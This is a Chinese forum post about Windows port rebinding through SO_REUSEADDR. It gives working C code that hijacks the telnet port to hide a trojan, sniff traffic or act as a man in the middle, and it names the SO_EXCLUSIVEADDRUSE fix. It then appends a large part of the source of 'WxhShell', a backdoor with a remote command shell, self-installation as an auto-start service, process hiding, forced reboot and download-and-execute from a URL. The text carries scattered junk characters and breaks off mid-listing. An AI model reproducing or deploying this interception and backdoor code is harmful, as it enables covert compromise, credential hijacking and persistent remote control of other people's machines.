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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: uLe+1`Y5Ux  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q/m}+v]  
MCz +l0  
  saddr.sin_family = AF_INET; \ 8ulX>]  
e%wbUr]c2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }{=%j~V;&  
qW;nWfkYC  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); UrN$nhH  
hCQ{D|/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *v8Cj(69  
w?oIKj  
  这意味着什么?意味着可以进行如下的攻击: @B7 ;  
!%T@DT=l&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 fCx~K'UWn  
9#O"^.Z !  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "N7C7`izc  
_.?$~;7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 B7?784{x,  
3zs~ Y3M?i  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  4)v\Dc/9i  
gbXzD`WQ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #V4_.t#  
8Vl!&j0s^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /vsQ <t;~  
k3S**&i!CR  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 A n/)|B4  
0sV;TQt+f  
  #include jUW{Z@{U  
  #include _F,@mQ$!  
  #include 4V43(G  
  #include    42Kzdo|}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Nl;rg*@o  
  int main() DX4 95<6*  
  { 89'nbg  
  WORD wVersionRequested; SJy:5e?zk  
  DWORD ret; Rqvm%sAi  
  WSADATA wsaData; T3'dfe U  
  BOOL val; q;>'jHh  
  SOCKADDR_IN saddr; t?YGGu^  
  SOCKADDR_IN scaddr; F =d L#@^  
  int err; //V?rs  
  SOCKET s; BuK82   
  SOCKET sc; BR"*-$u0;  
  int caddsize; 0($MN]oZa  
  HANDLE mt; 0o`0Td  
  DWORD tid;   E$smr\  
  wVersionRequested = MAKEWORD( 2, 2 ); !C#q  
  err = WSAStartup( wVersionRequested, &wsaData ); =0x[Sa$&,  
  if ( err != 0 ) { gt}/C4|  
  printf("error!WSAStartup failed!\n"); `9b D%M  
  return -1; mIl^  
  } b$.N8W%  
  saddr.sin_family = AF_INET; Ao?H.=#y  
   %<I0-o  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <t]i' D(K  
]yCmGt+b  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5vg@zH\z  
  saddr.sin_port = htons(23); ke)3*.Y%C  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .o.@cLdU  
  { $\m=-5 0-  
  printf("error!socket failed!\n"); ;'2y6"\Y  
  return -1; Y @pkfH  
  } f-4<W0%  
  val = TRUE; 8oN4!#:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |$7!u DU8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?ew^%1!W.  
  { t-_N|iW' 5  
  printf("error!setsockopt failed!\n"); N#]f?6 *R  
  return -1; X+bLLW>&  
  } v_)cp9d]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l|j&w[c[Q0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %o+bO}/9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }6m5MH$7q  
^ /:]HG  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )p12SGR5  
  { mxGvhkj  
  ret=GetLastError(); &&JI$x0;  
  printf("error!bind failed!\n"); j!:U*}f  
  return -1; 5 BcuLRId:  
  } R/<  /g=  
  listen(s,2); x1mxM#ql  
  while(1) dpJi5fN  
  { kD MS7y<s  
  caddsize = sizeof(scaddr); wyAqrf  
  //接受连接请求 AVNB)K"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *M- .Vor?R  
  if(sc!=INVALID_SOCKET) vaR0`F  
  { ,FS iE\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /x-Ja[kL  
  if(mt==NULL) Qpf BM  
  { t6-c{ZX>A  
  printf("Thread Creat Failed!\n"); n'4D;4  
  break; Er{[83  
  } gY*Cl1 Iz  
  } i&.F}bEi  
  CloseHandle(mt); Yn1U@!  
  } #J^p,6  
  closesocket(s); lh?mN3-*  
  WSACleanup(); 2Ni{wg"  
  return 0; K"-N:OV  
  }   rhNdXYY>  
  DWORD WINAPI ClientThread(LPVOID lpParam) Qyd3e O_  
  { "NC( ^\l/  
  SOCKET ss = (SOCKET)lpParam; Im6ymaf9  
  SOCKET sc; nwcT8b 87J  
  unsigned char buf[4096]; B#EF/\5  
  SOCKADDR_IN saddr; -! ;vX @  
  long num; @J" }~Y  
  DWORD val; kQVl8KS  
  DWORD ret; L=HL1Qe$G]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #docBsHX&s  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   :VLuI  
  saddr.sin_family = AF_INET; )](8 {}wo  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); * =;=VUu5  
  saddr.sin_port = htons(23); C<n.C*o  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9"V27"s  
  { yUH8  
  printf("error!socket failed!\n"); sDbALAp +  
  return -1; Ir}&|"~H  
  } EB> RY+\  
  val = 100; .s2d  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <F=j6U7   
  { EG9S? $  
  ret = GetLastError(); PfuYT_p4s  
  return -1; h+*  
  } 9Z+@i:_}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %F}`;>C3  
  { aMz%H|/$  
  ret = GetLastError(); |fzo$Bq  
  return -1; ]j{S' cz  
  } I1}{7-_t  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ::M/s#-@  
  { H%%#^rb^  
  printf("error!socket connect failed!\n"); 7q67_u? @  
  closesocket(sc); j?&FK  
  closesocket(ss); g#70Sg*d  
  return -1; q_ 5xsTlTR  
  } '2.F-~  
  while(1) PN.=])7T  
  { Jk1U p2#B  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {) .=G  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?Z14l0iZ%d  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 c/x(v=LW  
  num = recv(ss,buf,4096,0); }%jb/@~  
  if(num>0) FS@SC`~(  
  send(sc,buf,num,0);  vb70~k  
  else if(num==0) ,,G0}N@7s  
  break; -}N{'S,Bp  
  num = recv(sc,buf,4096,0); [J*)r8ys  
  if(num>0) ^SjGNg^ 7D  
  send(ss,buf,num,0); chiQ+  
  else if(num==0) T+~~w'v0  
  break; 6%yr>BFtVV  
  } a}Ov @7  
  closesocket(ss); F]ALZxwkz  
  closesocket(sc); |H@M-  
  return 0 ; c?opVbJB\  
  } Y@r#:BH )  
i3Ffk+ |b  
APLu?wy7s5  
========================================================== F-=er e  
lv\2vRYw-  
下边附上一个代码,,WXhSHELL OOv"h\,  
%d?%^) u,  
========================================================== @lj  
Cu`ZgK LQ  
#include "stdafx.h" xpS#l"dr  
nrf%/L  
#include <stdio.h> kKjYMYT6  
#include <string.h> r7IhmdA  
#include <windows.h> jV7q)\uu^  
#include <winsock2.h> <&x_e-;b'  
#include <winsvc.h> OsK=% aDpj  
#include <urlmon.h> oF*Y$OEu?c  
8l}|.Q#--  
#pragma comment (lib, "Ws2_32.lib") HML6<U-eS  
#pragma comment (lib, "urlmon.lib") v:vA=R2  
yx}:Sgv%  
#define MAX_USER   100 // 最大客户端连接数 "~+K`*0r8  
#define BUF_SOCK   200 // sock buffer =_wgKXBFa  
#define KEY_BUFF   255 // 输入 buffer f/ =0  
@lJGdp  
#define REBOOT     0   // 重启 Q2NS>[  
#define SHUTDOWN   1   // 关机 =-q)I[4#  
/vQ^>2X%  
#define DEF_PORT   5000 // 监听端口 >kB?C!\  
V,Gt5lL&/!  
#define REG_LEN     16   // 注册表键长度 R]r~TJ o  
#define SVC_LEN     80   // NT服务名长度 m83i6"!H  
-,i1T(p1  
// 从dll定义API 6 =kd4'yV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wWm#[f],?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yrIT4y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #?-W.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;WzT"yW)T  
HN3 yA1<[V  
// wxhshell配置信息 Wm\f:|U5`  
struct WSCFG { I{2e0  
  int ws_port;         // 监听端口  %"z W]  
  char ws_passstr[REG_LEN]; // 口令 }W YY5L8^  
  int ws_autoins;       // 安装标记, 1=yes 0=no N@)g3mX>  
  char ws_regname[REG_LEN]; // 注册表键名 sn *s7v:  
  char ws_svcname[REG_LEN]; // 服务名 Y6CadC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H(g&+Wcu=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~{N|("nB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a$KM q>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )8vcg{b{d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \myj Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qS7*.E~j|]  
@!F9}n AP  
}; @ce4sSo  
K@d`jb4T  
// default Wxhshell configuration ilNm\fQ.  
struct WSCFG wscfg={DEF_PORT, n XQg(!  
    "xuhuanlingzhe", nbYaYL?&  
    1, 6)?TWr'Ke  
    "Wxhshell", U?}Maf  
    "Wxhshell", Mc\lzq8\ 1  
            "WxhShell Service", ;or> Sh7  
    "Wrsky Windows CmdShell Service", f.u{;W  
    "Please Input Your Password: ", ,%:`Ll t]$  
  1, -Pvt+I>  
  "http://www.wrsky.com/wxhshell.exe", {=(4  
  "Wxhshell.exe" RJ-CWt [LG  
    }; *}0Q S@FN  
me9RnPe:  
// 消息定义模块 )WzCUYE1/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qVY\5`f@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w68qyG|wM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Tq?W @DM*  
char *msg_ws_ext="\n\rExit."; q`\lvdl  
char *msg_ws_end="\n\rQuit."; 8cd,SQ}y  
char *msg_ws_boot="\n\rReboot..."; BpK P]V  
char *msg_ws_poff="\n\rShutdown..."; k'\RS6M`L  
char *msg_ws_down="\n\rSave to "; kC#;j=K?  
v<-D>iJ  
char *msg_ws_err="\n\rErr!"; |UBJu `%  
char *msg_ws_ok="\n\rOK!"; ROfmAc  
.Kv@p jOr  
char ExeFile[MAX_PATH]; O}%=c\Pb  
int nUser = 0; <Q8bn?Z  
HANDLE handles[MAX_USER]; _}\&;  
int OsIsNt; : Z.mM5  
aRV!0?fS  
SERVICE_STATUS       serviceStatus; |g9^]bT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]:f1r8<3p  
Z@*Z@]FC  
// 函数声明 "q%)we  
int Install(void); SnXLjJe  
int Uninstall(void); :_^YEm+A  
int DownloadFile(char *sURL, SOCKET wsh); 9 V;m;sz  
int Boot(int flag); ,iHt*SZ,*  
void HideProc(void); g>Z1ZK0;M  
int GetOsVer(void); <6`,)(dj  
int Wxhshell(SOCKET wsl); ?@u &3/&  
void TalkWithClient(void *cs); !]`]67lC  
int CmdShell(SOCKET sock); 6 tzn% ?  
int StartFromService(void); O8lOr(|l  
int StartWxhshell(LPSTR lpCmdLine); SrKF\h%/+  
QoW3*1o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H1@"Yg8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); FJD*A`a  
,CdI.kV>o2  
// 数据结构和表定义 zZy>XHR H  
SERVICE_TABLE_ENTRY DispatchTable[] = M\]E;C'"U  
{ DnTM#i:  
{wscfg.ws_svcname, NTServiceMain}, [C&c;YNp  
{NULL, NULL} I/(`<s p  
}; 81KtK[?b  
~7k b4[  
// 自我安装 1|%$ie  
int Install(void) 7,jqA"9  
{ 7Jqp2\  
  char svExeFile[MAX_PATH]; $~j]/U  
  HKEY key; [IYs4Y5  
  strcpy(svExeFile,ExeFile); HsXFglQ  
''(T3;^ +  
// 如果是win9x系统,修改注册表设为自启动 0 Hq$h  
if(!OsIsNt) { 9 (&!>z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kfHLjr.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Oll\T GXP!  
  RegCloseKey(key); VOiphw`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /q^( uWu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E6US  
  RegCloseKey(key); wg[*]_,a  
  return 0; I 7TMv.  
    } (2{1m#o  
  } 1|`9Hp6  
} 57#:GN$EL  
else { M\GS&K$lq  
}skXh_Vu4  
// 如果是NT以上系统,安装为系统服务 leiza?[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b1^MX).vH  
if (schSCManager!=0) <k)rfv7  
{  t9=rr>8)  
  SC_HANDLE schService = CreateService |?0C9  
  ( ;m\(fW*ii  
  schSCManager, QOOBCNe  
  wscfg.ws_svcname, 9:m+mpL=9  
  wscfg.ws_svcdisp, 6tJM*{$$H  
  SERVICE_ALL_ACCESS, |_A35"v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1wq 6E  
  SERVICE_AUTO_START, vu1:8j  
  SERVICE_ERROR_NORMAL, Z2ZS5a  
  svExeFile, c2i^dNp_  
  NULL, QTDI^ZeuF  
  NULL, @Wv*`  
  NULL, 'E@D  
  NULL, AvwX 2?tc  
  NULL T|=8 jt,  
  ); E;X'.7[c  
  if (schService!=0) 's9)\LS>p  
  { sPhh#VCw{  
  CloseServiceHandle(schService); xOt|j4  
  CloseServiceHandle(schSCManager); Q[k}_1sWs$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r+U-l#Q  
  strcat(svExeFile,wscfg.ws_svcname); KUp lN1Sy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K 4 >d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Lkb?,j5  
  RegCloseKey(key); BEY}mR]  
  return 0; )S5Q5"j&=f  
    } U2h?l `nP  
  } LsmC/+7r$1  
  CloseServiceHandle(schSCManager); YS/DIH{9e  
} <?I~ +  
} 1M+mH#?  
^,rbA>/L  
return 1; m!PN1$9V  
} @Pa ;h  
F Pu,sz8  
// 自我卸载 \:Nbl<9(9  
int Uninstall(void) [3\}Ca1  
{ ul:jn]S*  
  HKEY key; NQOdgp  
^ sz4rk  
if(!OsIsNt) { e06r5%|.%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VJPt/Dy{  
  RegDeleteValue(key,wscfg.ws_regname); Vdjca:`  
  RegCloseKey(key); f6z[k_lLN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O/FQ'o1F  
  RegDeleteValue(key,wscfg.ws_regname); KI# hII[Q.  
  RegCloseKey(key); .-o$ IQsS  
  return 0; :_vf1>[  
  } g{i( 4DHm(  
} [WB8X,  
} \Q & Kd|  
else { 2AdV=n6Z  
a|OX4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H_jMl$f)j  
if (schSCManager!=0) 9iGJYMWf  
{ <8'}H`w%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l.&6|   
  if (schService!=0) e\)PGjSI  
  { 'Yj/M  
  if(DeleteService(schService)!=0) { yJ?4B?p(  
  CloseServiceHandle(schService); h>fY'r)DAx  
  CloseServiceHandle(schSCManager); T]0qd^\4w  
  return 0; +.zriiF]i  
  } = i `o+H  
  CloseServiceHandle(schService); oo /#]a  
  } aiz_6@Qfz*  
  CloseServiceHandle(schSCManager); g4U%(3,>D  
} zHyM@*Gf(  
} |J8c|h<  
5I@< 6S&X  
return 1; vQ 5 p  
} pvcD 61,  
&t`l,]PQ=6  
// 从指定url下载文件 lh .p`^v  
int DownloadFile(char *sURL, SOCKET wsh) {6RT&w  
{ l.FkX  
  HRESULT hr; MvQ0"-ZQ  
char seps[]= "/"; tLLP2^_&  
char *token; pWeKN`  
char *file; l].dOso$`  
char myURL[MAX_PATH]; O,hT< s "  
char myFILE[MAX_PATH]; VBy=X\w]  
/SjA;c! .  
strcpy(myURL,sURL); {&m^*YN/  
  token=strtok(myURL,seps); 3Ju<jXoo!  
  while(token!=NULL) !hEt UF  
  { l+RBe<Mq  
    file=token; <Azv VSA,  
  token=strtok(NULL,seps); >12phLu  
  } `n$pR8TZ_  
LKTIwb>  
GetCurrentDirectory(MAX_PATH,myFILE); }ob#LC,  
strcat(myFILE, "\\"); EW|bs#l  
strcat(myFILE, file); QYDSE  
  send(wsh,myFILE,strlen(myFILE),0); fyh9U_M);w  
send(wsh,"...",3,0); K oo%mr   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `cCsJm$V"  
  if(hr==S_OK) }c^`!9  
return 0; >q "mI6F  
else IrM Ws86;  
return 1; 3u _[=a  
/0@'8f\I  
} 0]fzjiaGt  
P @G2F:}  
// 系统电源模块 $O?&!8);,  
int Boot(int flag) 3D(/k%;)  
{ +CaPF  
  HANDLE hToken; 3Oy?_a$  
  TOKEN_PRIVILEGES tkp; ]*D=^kA0[  
COZ<^*=A#p  
  if(OsIsNt) { n~@;[=o?5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5PqL#Eu`!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VMZ\9IwI  
    tkp.PrivilegeCount = 1; I ze+](  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UBLr|e>dQE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F8S% \i  
if(flag==REBOOT) { Il`35~a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =# <!s!  
  return 0; JgEPzHgx  
} Se{}OG)  
else { /0A9d-Qd<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]MKW5Kq  
  return 0; N8#wQ*MM>  
} iz.J._&  
  } (_ HwU/  
  else { 3rBSwgRl  
if(flag==REBOOT) { 0Q`Dp;a5&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +`}QIp0  
  return 0; oc7&iL  
} >k }ea5+  
else { K&3,J7&&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D=Jj!;  
  return 0; r~nD%H:}P  
} `tw[{Wb  
} B:J([@\'  
V"K-aO&  
return 1; XYj!nx{k,  
} 7@oM?r7td  
>"5 f B  
// win9x进程隐藏模块 W|'7)ph  
void HideProc(void) @G,pM: t  
{ ^hiIMqY_{`  
_Wg?H:\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `ECY:3"$KA  
  if ( hKernel != NULL ) `1 A,sXfa  
  { zZp0g^;.?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Di) %vU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3b{ 7Z 2  
    FreeLibrary(hKernel); wz`\R HL  
  } /<C}v~r  
ut j7"{'k|  
return; Fj;];1nt  
} CiF(   
{G.W?  
// 获取操作系统版本 *@)0TL( 03  
int GetOsVer(void) 08czP-)OZ  
{ MD|T4PPz,}  
  OSVERSIONINFO winfo; Z uFk}R"x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?TWve)U  
  GetVersionEx(&winfo); B! +rO~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ad)jw:n  
  return 1; /]pJ(FFC  
  else xbqFek$/r  
  return 0; J,(@1R]KF:  
} LY:%k|L9  
H1Jk_@b  
// 客户端句柄模块 LuW>8K\  
int Wxhshell(SOCKET wsl) W>#[a %R  
{ _nwsIjsW  
  SOCKET wsh; L!;"73,&(8  
  struct sockaddr_in client; u:]c  
  DWORD myID; T3wQRn  
I%(YR"  
  while(nUser<MAX_USER) ^Y%'"QwJS  
{ amTeT o]Tg  
  int nSize=sizeof(client); A4uKE"WE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j)nL!":O  
  if(wsh==INVALID_SOCKET) return 1; 6C'W  
U_Jchi,!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Sy@)Q[A  
if(handles[nUser]==0) Nwwn #+  
  closesocket(wsh); )fy-]Ky *  
else r{>`"  
  nUser++; `uP:UQ9S  
  } =Gv*yR*]t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~%chF/H  
_"%hcCMw  
  return 0; jlxY|;gZ-0  
} YY zUg  
b1TIVK3m  
// 关闭 socket }]#&U/z  
void CloseIt(SOCKET wsh) q\pI&B  
{ vmzc0J+3p  
closesocket(wsh); r1 axC%  
nUser--; tgyW:<iv  
ExitThread(0); fZ aTckbE  
} ~U r  
X;bHlA-g  
// 客户端请求句柄 y'5`Uo?\",  
void TalkWithClient(void *cs) oyT`AYa  
{ dy>5LzqK3  
K/iFB  
  SOCKET wsh=(SOCKET)cs; 5^ck$af  
  char pwd[SVC_LEN]; H@xHkqan  
  char cmd[KEY_BUFF]; #My14u  
char chr[1]; >^6|^rc  
int i,j; l|81_BC"  
T095]*Hm  
  while (nUser < MAX_USER) { ^GpLl   
de/oK c  
if(wscfg.ws_passstr) { DaS~bweMw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f\;w(_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z=9<esx  
  //ZeroMemory(pwd,KEY_BUFF); skm~~JM^  
      i=0; 38 ] }+Bb  
  while(i<SVC_LEN) { 1=Kt.tuf  
"T$LJ1E  
  // 设置超时 Cag^$nj  
  fd_set FdRead; ds9U9t  
  struct timeval TimeOut; })+iAxR  
  FD_ZERO(&FdRead); 0GlQWRa  
  FD_SET(wsh,&FdRead); 7W'&v+\  
  TimeOut.tv_sec=8; &S=Qu?H  
  TimeOut.tv_usec=0; cQkj{u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2 g\O/oz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ppo.#p0w  
s3Wjhw/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9Af nMD  
  pwd=chr[0]; ~:L5Ar<  
  if(chr[0]==0xd || chr[0]==0xa) { We++DWp  
  pwd=0; \gu8 ~zK  
  break; IgjPy5k  
  } @SH[<c  
  i++; R4X9g\KpAt  
    } &xt[w>/i  
?0'e_s  
  // 如果是非法用户,关闭 socket /6rQ.+|).  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ScjeAC)  
} &zd@cr1  
P*jiz@6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \K9.]PfbI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H<}|n1w<  
.820~b0  
while(1) { x ;~;Ah.p  
]cv/dY#  
  ZeroMemory(cmd,KEY_BUFF); M@l|n  
mU(v9Jpf7  
      // 自动支持客户端 telnet标准   yN)(MmX'1  
  j=0; #D#kw*c  
  while(j<KEY_BUFF) { ju5o).!bg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f[vm]1#  
  cmd[j]=chr[0]; Yn$: |$  
  if(chr[0]==0xa || chr[0]==0xd) { Zn0a)VH%  
  cmd[j]=0; j\wZjc-j  
  break; AOkG.u-k  
  } T{2)d]Y  
  j++; </Y(4Xwf=  
    } c#CV5J\Kk3  
+8W5amk.P|  
  // 下载文件 \D k >dE&I  
  if(strstr(cmd,"http://")) { |Xm$O1Wa  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4s~X  
  if(DownloadFile(cmd,wsh)) +*xc4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R!%HQA1U  
  else j/Y]3RSMp  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~ES%=if~Y  
  } CJh,-w{wJ"  
  else { p;'.7_1  
u,nn\>Y  
    switch(cmd[0]) { Xn?.Od(  
  ji>LBbnHdE  
  // 帮助 OiXO<1'$  
  case '?': { .gGO+8[N*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %~k>$(u6  
    break; tl{{Vc[  
  } >itNa.K  
  // 安装 -9 .lFuI  
  case 'i': { $j(d`@.DN~  
    if(Install()) hr&&b3W3p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T)%6"rPL3!  
    else y$bY 8L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $T#fCx/  
    break; 5-ED\-  
    } {tl{ j1d |  
  // 卸载 _ yJz:pa  
  case 'r': { ?<BI)[B  
    if(Uninstall()) %'i_iF8.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (3$DUvx7  
    else ^fe,A=k~1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _68vSYr  
    break; +c!HXX  
    } ^&C/,,U  
  // 显示 wxhshell 所在路径 E3Y0@r  
  case 'p': { RM,aG}6M)M  
    char svExeFile[MAX_PATH]; , `Z4fz:  
    strcpy(svExeFile,"\n\r"); aNY-F)XWa  
      strcat(svExeFile,ExeFile); rQlQ^W$=?  
        send(wsh,svExeFile,strlen(svExeFile),0); ?H,f|nc  
    break; 1$.svR  
    } &4KUXn[F  
  // 重启 d/F^ez  
  case 'b': { ZO/Jf Jn~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "adic?5  
    if(Boot(REBOOT)) xM!9$v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %XeN_ V  
    else { 3Mm_xYDud  
    closesocket(wsh); W|Sab$h  
    ExitThread(0); %AtT(G(n  
    } s@iY'11  
    break; ) 9 2(C  
    } T?f{.a)  
